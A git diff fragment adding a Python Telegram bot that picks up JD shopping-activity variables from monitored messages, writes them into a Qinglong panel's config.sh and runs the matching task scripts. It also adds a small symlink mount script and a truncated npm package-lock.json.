+ if message.entities is None: + return + text = message.entities[0]['url'] + if text is None: + return + if 'i.walle.com' not in text: + return + text = urllib.parse.unquote(text.replace(monitor_flag, '')) + zd = 1 + if 'jd_zdjr_activityId' in text: + zd = re.search(f'jd_zdjr_activityId="(.*)"', text)[1] + if zd != 1: + if cache.get(zd) is not None: + await client.send_message(my_bot_id, f'跑过 {text}') + return + cache.set(zd, zd) + else: + if cache.get(text) is not None: + await client.send_message(my_bot_id, f'跑过 {text}') + return + cache.set(text, text) + name = '' + js = '' + command = '' + for v in car_config: + if v['env'] in text: + name = v['name'] + js = v['js'] + command = v['cmd'] + break + if len(name) == 0: + await client.send_message(my_bot_id, f'未知变量`{text}`') + return + messages = text.split("\n") + change = "" + for message in messages: + if "export " not in message: + continue + kv = message.replace("export ", "") + key = kv.split("=")[0] + value = re.findall(r'"([^"]*)"', kv)[0] + configs = rwcon("str") + if kv in configs: + continue + if key in configs: + configs = re.sub(f'{key}=("|\').*("|\')', kv, configs) + change += f"【替换】 `{name}` 环境变量成功\n`{kv}\n`" + else: + if platform == 'v4': + end_line = 0 + configs = rwcon("list") + for config in configs: + if "第五区域" in config and "↑" in config: + end_line = configs.index(config) - 1 + break + configs.insert(end_line, f'export {key}="{value}"\n') + else: + configs = rwcon("str") + configs += f'export {key}="{value}"\n' + change += f"【新增】 `{name}` 环境变量成功\n`{kv}\n`" + await client.send_message(my_bot_id, change) + rwcon(configs) + if len(change) == 0: + await client.send_message(my_bot_id, f'【取消】{name}环境变量无需改动') + return + if len(js) > 0: + await client.send_message(my_bot_id, f'开始运行 {js}') + if platform == 'v4': + await cmd(client, f'jtask {base_path}/{js} {command}') + else: + await cmd(client, f'task {base_path}/{js} {command}') + else: + await client.send_message(my_bot_id, f'无需执行') + except Exception as e: + await client.send_message(my_bot_id, f'{str(e)}') + + +async def cmd(client, cmd_text): + '''定义执行cmd命令''' + try: + p = await asyncio.create_subprocess_shell( + cmd_text, stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE) + res_bytes, res_err = await p.communicate() + res = res_bytes.decode('utf-8') + if len(res) > 0: + if platform == "v4": + base = "/jd" + elif platform == "ql": + base = "/ql" + else: + base = "/ql/data" + tmp_log = f'{base}/log/bot/{cmd_text.split("/")[-1].split(".js")[0]}-{datetime.datetime.now().strftime("%H-%M-%S.%f")}.log' + with open(tmp_log, 'w+', encoding='utf-8') as f: + f.write(res) + except Exception as e: + await client.send_message(my_bot_id, f'日志目录有误,{str(e)}') + + +# 读写config.sh +def rwcon(arg): + if arg == "str": + with open(_ConfigSH, 'r', encoding='utf-8') as f1: + configs = f1.read() + return configs + elif arg == "list": + with open(_ConfigSH, 'r', encoding='utf-8') as f1: + configs = f1.readlines() + return configs + elif isinstance(arg, str): + with open(_ConfigSH, 'w', encoding='utf-8') as f1: + f1.write(arg) + elif isinstance(arg, list): + with open(_ConfigSH, 'w', encoding='utf-8') as f1: + f1.write("".join(arg)) + + +app.run() diff --git a/mount.sh b/mount.sh new file mode 100644 index 0000000..23b9152 --- /dev/null +++ b/mount.sh @@ -0,0 +1,8 @@ +#!/usr/bin/env bash + +ln -s /ql/data/config /ql/config +ln -s /ql/data/db /ql/db +ln -s /ql/data/jbot /ql/jbot +ln -s /ql/data/log /ql/log +ln -s /ql/data/scripts /ql/scripts +echo "# 旧版青龙目录挂载完成。" \ No newline at end of file diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..bccf1e5 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,1583 @@ +{ + "name": "jd", + "version": "1.0.0", + "lockfileVersion": 1, + "requires": true, + "dependencies": { + "@sindresorhus/is": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.7.0.tgz", + "integrity": "sha512-ONhaKPIufzzrlNbqtWFFd+jlnemX6lJAgq9ZeiZtS7I1PIf/la7CW4m83rTXRnVnsMbW2k56pGYu7AUFJD9Pow==" + }, + "@szmarczak/http-timer": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz", + "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==", + "requires": { + "defer-to-connect": "^2.0.0" + } + }, + "@types/cacheable-request": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.2.tgz", + "integrity": "sha512-B3xVo+dlKM6nnKTcmm5ZtY/OL8bOAOd2Olee9M1zft65ox50OzjEHW91sDiU9j6cvW8Ejg1/Qkf4xd2kugApUA==", + "requires": { + "@types/http-cache-semantics": "*", + "@types/keyv": "*", + "@types/node": "*", + "@types/responselike": "*" + } + }, + "@types/http-cache-semantics": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz", + "integrity": "sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ==" + }, + "@types/keyv": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.2.tgz", + "integrity": "sha512-/FvAK2p4jQOaJ6CGDHJTqZcUtbZe820qIeTg7o0Shg7drB4JHeL+V/dhSaly7NXx6u8eSee+r7coT+yuJEvDLg==", + "requires": { + "@types/node": "*" + } + }, + "@types/node": { + "version": "16.7.10", + "resolved": "https://registry.npmjs.org/@types/node/-/node-16.7.10.tgz", + "integrity": "sha512-S63Dlv4zIPb8x6MMTgDq5WWRJQe56iBEY0O3SOFA9JrRienkOVDXSXBjjJw6HTNQYSE2JI6GMCR6LVbIMHJVvA==" + }, + "@types/responselike": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", + "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", + "requires": { + "@types/node": "*" + } + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "archive-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/archive-type/-/archive-type-4.0.0.tgz", + "integrity": "sha1-+S5yIzBW38aWlHJ0nCZ72wRrHXA=", + "requires": { + "file-type": "^4.2.0" + }, + "dependencies": { + "file-type": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-4.4.0.tgz", + "integrity": "sha1-G2AOX8ofvcboDApwxxyNul95BsU=" + } + } + }, + "asn1": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", + "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", + "requires": { + "safer-buffer": "~2.1.0" + } + }, + "assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=" + }, + "async": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz", + "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==", + "requires": { + "lodash": "^4.17.14" + } + }, + "asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" + }, + "aws-sign2": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=" + }, + "aws4": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.11.0.tgz", + "integrity": "sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==" + }, + "axios": { + "version": "0.21.1", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.1.tgz", + "integrity": "sha512-dKQiRHxGD9PPRIUNIWvZhPTPpl1rf/OxTYKsqKUDjBwYylTvV7SjSHJb9ratfyzM6wCdLCOYLzs73qpg5c4iGA==", + "requires": { + "follow-redirects": "^1.10.0" + } + }, + "base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" + }, + "basic-auth": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/basic-auth/-/basic-auth-1.1.0.tgz", + "integrity": "sha1-RSIe5Cn37h5QNb4/UVM/HN/SmIQ=" + }, + "bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "requires": { + "tweetnacl": "^0.14.3" + } + }, + "bl": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/bl/-/bl-1.2.3.tgz", + "integrity": "sha512-pvcNpa0UU69UT341rO6AYy4FVAIkUHuZXRIWbq+zHnsVcRzDDjIAhGuuYoi0d//cwIwtt4pkpKycWEfjdV+vww==", + "requires": { + "readable-stream": "^2.3.5", + "safe-buffer": "^5.1.1" + } + }, + "buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "buffer-alloc": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz", + "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==", + "requires": { + "buffer-alloc-unsafe": "^1.1.0", + "buffer-fill": "^1.0.0" + } + }, + "buffer-alloc-unsafe": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz", + "integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg==" + }, + "buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=" + }, + "buffer-fill": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz", + "integrity": "sha1-+PeLdniYiO858gXNY39o5wISKyw=" + }, + "cacheable-lookup": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", + "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==" + }, + "cacheable-request": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-2.1.4.tgz", + "integrity": "sha1-DYCIAbY0KtM8kd+dC0TcCbkeXD0=", + "requires": { + "clone-response": "1.0.2", + "get-stream": "3.0.0", + "http-cache-semantics": "3.8.1", + "keyv": "3.0.0", + "lowercase-keys": "1.0.0", + "normalize-url": "2.0.1", + "responselike": "1.0.2" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=" + }, + "lowercase-keys": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.0.tgz", + "integrity": "sha1-TjNms55/VFfjXxMkvfb4jQv8cwY=" + } + } + }, + "call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "requires": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + } + }, + "caseless": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", + "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=" + }, + "clone-response": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", + "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=", + "requires": { + "mimic-response": "^1.0.0" + } + }, + "colors": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", + "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==" + }, + "combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "requires": { + "delayed-stream": "~1.0.0" + } + }, + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "content-disposition": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", + "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "requires": { + "safe-buffer": "5.1.2" + } + }, + "core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "corser": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/corser/-/corser-2.0.1.tgz", + "integrity": "sha1-jtolLsqrWEDc2XXOuQ2TcMgZ/4c=" + }, + "crypto-js": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.1.1.tgz", + "integrity": "sha512-o2JlM7ydqd3Qk9CA0L4NL6mTzU2sdx96a+oOfPu8Mkl/PK51vSyoi8/rQ8NknZtk44vq15lmhAj9CIAGwgeWKw==" + }, + "dashdash": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", + "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", + "requires": { + "assert-plus": "^1.0.0" + } + }, + "date-fns": { + "version": "2.23.0", + "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.23.0.tgz", + "integrity": "sha512-5ycpauovVyAk0kXNZz6ZoB9AYMZB4DObse7P3BPWmyEjXNORTI8EJ6X0uaSAq4sCHzM1uajzrkr6HnsLQpxGXA==" + }, + "debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "requires": { + "ms": "^2.1.1" + } + }, + "decode-uri-component": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", + "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=" + }, + "decompress": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/decompress/-/decompress-4.2.1.tgz", + "integrity": "sha512-e48kc2IjU+2Zw8cTb6VZcJQ3lgVbS4uuB1TfCHbiZIP/haNXm+SVyhu+87jts5/3ROpd82GSVCoNs/z8l4ZOaQ==", + "requires": { + "decompress-tar": "^4.0.0", + "decompress-tarbz2": "^4.0.0", + "decompress-targz": "^4.0.0", + "decompress-unzip": "^4.0.1", + "graceful-fs": "^4.1.10", + "make-dir": "^1.0.0", + "pify": "^2.3.0", + "strip-dirs": "^2.0.0" + }, + "dependencies": { + "make-dir": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", + "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", + "requires": { + "pify": "^3.0.0" + }, + "dependencies": { + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" + } + } + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=" + } + } + }, + "decompress-response": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", + "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", + "requires": { + "mimic-response": "^1.0.0" + } + }, + "decompress-tar": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tar/-/decompress-tar-4.1.1.tgz", + "integrity": "sha512-JdJMaCrGpB5fESVyxwpCx4Jdj2AagLmv3y58Qy4GE6HMVjWz1FeVQk1Ct4Kye7PftcdOo/7U7UKzYBJgqnGeUQ==", + "requires": { + "file-type": "^5.2.0", + "is-stream": "^1.1.0", + "tar-stream": "^1.5.2" + }, + "dependencies": { + "file-type": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz", + "integrity": "sha1-LdvqfHP/42No365J3DOMBYwritY=" + } + } + }, + "decompress-tarbz2": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tarbz2/-/decompress-tarbz2-4.1.1.tgz", + "integrity": "sha512-s88xLzf1r81ICXLAVQVzaN6ZmX4A6U4z2nMbOwobxkLoIIfjVMBg7TeguTUXkKeXni795B6y5rnvDw7rxhAq9A==", + "requires": { + "decompress-tar": "^4.1.0", + "file-type": "^6.1.0", + "is-stream": "^1.1.0", + "seek-bzip": "^1.0.5", + "unbzip2-stream": "^1.0.9" + }, + "dependencies": { + "file-type": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-6.2.0.tgz", + "integrity": "sha512-YPcTBDV+2Tm0VqjybVd32MHdlEGAtuxS3VAYsumFokDSMG+ROT5wawGlnHDoz7bfMcMDt9hxuXvXwoKUx2fkOg==" + } + } + }, + "decompress-targz": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-targz/-/decompress-targz-4.1.1.tgz", + "integrity": "sha512-4z81Znfr6chWnRDNfFNqLwPvm4db3WuZkqV+UgXQzSngG3CEKdBkw5jrv3axjjL96glyiiKjsxJG3X6WBZwX3w==", + "requires": { + "decompress-tar": "^4.1.1", + "file-type": "^5.2.0", + "is-stream": "^1.1.0" + }, + "dependencies": { + "file-type": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz", + "integrity": "sha1-LdvqfHP/42No365J3DOMBYwritY=" + } + } + }, + "decompress-unzip": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/decompress-unzip/-/decompress-unzip-4.0.1.tgz", + "integrity": "sha1-3qrM39FK6vhVePczroIQ+bSEj2k=", + "requires": { + "file-type": "^3.8.0", + "get-stream": "^2.2.0", + "pify": "^2.3.0", + "yauzl": "^2.4.2" + }, + "dependencies": { + "file-type": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-3.9.0.tgz", + "integrity": "sha1-JXoHg4TR24CHvESdEH1SpSZyuek=" + }, + "get-stream": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-2.3.1.tgz", + "integrity": "sha1-Xzj5PzRgCWZu4BUKBUFn+Rvdld4=", + "requires": { + "object-assign": "^4.0.1", + "pinkie-promise": "^2.0.0" + } + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=" + } + } + }, + "defer-to-connect": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", + "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==" + }, + "delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=" + }, + "dotenv": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-10.0.0.tgz", + "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==" + }, + "download": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/download/-/download-8.0.0.tgz", + "integrity": "sha512-ASRY5QhDk7FK+XrQtQyvhpDKanLluEEQtWl/J7Lxuf/b+i8RYh997QeXvL85xitrmRKVlx9c7eTrcRdq2GS4eA==", + "requires": { + "archive-type": "^4.0.0", + "content-disposition": "^0.5.2", + "decompress": "^4.2.1", + "ext-name": "^5.0.0", + "file-type": "^11.1.0", + "filenamify": "^3.0.0", + "get-stream": "^4.1.0", + "got": "^8.3.1", + "make-dir": "^2.1.0", + "p-event": "^2.1.0", + "pify": "^4.0.1" + }, + "dependencies": { + "got": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/got/-/got-8.3.2.tgz", + "integrity": "sha512-qjUJ5U/hawxosMryILofZCkm3C84PLJS/0grRIpjAwu+Lkxxj5cxeCU25BG0/3mDSpXKTyZr8oh8wIgLaH0QCw==", + "requires": { + "@sindresorhus/is": "^0.7.0", + "cacheable-request": "^2.1.1", + "decompress-response": "^3.3.0", + "duplexer3": "^0.1.4", + "get-stream": "^3.0.0", + "into-stream": "^3.1.0", + "is-retry-allowed": "^1.1.0", + "isurl": "^1.0.0-alpha5", + "lowercase-keys": "^1.0.0", + "mimic-response": "^1.0.0", + "p-cancelable": "^0.4.0", + "p-timeout": "^2.0.1", + "pify": "^3.0.0", + "safe-buffer": "^5.1.1", + "timed-out": "^4.0.1", + "url-parse-lax": "^3.0.0", + "url-to-options": "^1.0.1" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=" + }, + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" + } + } + } + } + }, + "duplexer3": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", + "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=" + }, + "ecc-jsbn": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", + "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=", + "requires": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "ecstatic": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/ecstatic/-/ecstatic-3.3.2.tgz", + "integrity": "sha512-fLf9l1hnwrHI2xn9mEDT7KIi22UDqA2jaCwyCbSUJh9a1V+LEUSL/JO/6TIz/QyuBURWUHrFL5Kg2TtO1bkkog==", + "requires": { + "he": "^1.1.1", + "mime": "^1.6.0", + "minimist": "^1.1.0", + "url-join": "^2.0.5" + } + }, + "end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "requires": { + "once": "^1.4.0" + } + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" + }, + "eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==" + }, + "ext-list": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/ext-list/-/ext-list-2.2.2.tgz", + "integrity": "sha512-u+SQgsubraE6zItfVA0tBuCBhfU9ogSRnsvygI7wht9TS510oLkBRXBsqopeUG/GBOIQyKZO9wjTqIu/sf5zFA==", + "requires": { + "mime-db": "^1.28.0" + } + }, + "ext-name": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ext-name/-/ext-name-5.0.0.tgz", + "integrity": "sha512-yblEwXAbGv1VQDmow7s38W77hzAgJAO50ztBLMcUyUBfxv1HC+LGwtiEN+Co6LtlqT/5uwVOxsD4TNIilWhwdQ==", + "requires": { + "ext-list": "^2.0.0", + "sort-keys-length": "^1.0.0" + } + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "extsprintf": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", + "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=" + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=", + "requires": { + "pend": "~1.2.0" + } + }, + "file-type": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-11.1.0.tgz", + "integrity": "sha512-rM0UO7Qm9K7TWTtA6AShI/t7H5BPjDeGVDaNyg9BjHAj3PysKy7+8C8D137R88jnR3rFJZQB/tFgydl5sN5m7g==" + }, + "filename-reserved-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/filename-reserved-regex/-/filename-reserved-regex-2.0.0.tgz", + "integrity": "sha1-q/c9+rc10EVECr/qLZHzieu/oik=" + }, + "filenamify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/filenamify/-/filenamify-3.0.0.tgz", + "integrity": "sha512-5EFZ//MsvJgXjBAFJ+Bh2YaCTRF/VP1YOmGrgt+KJ4SFRLjI87EIdwLLuT6wQX0I4F9W41xutobzczjsOKlI/g==", + "requires": { + "filename-reserved-regex": 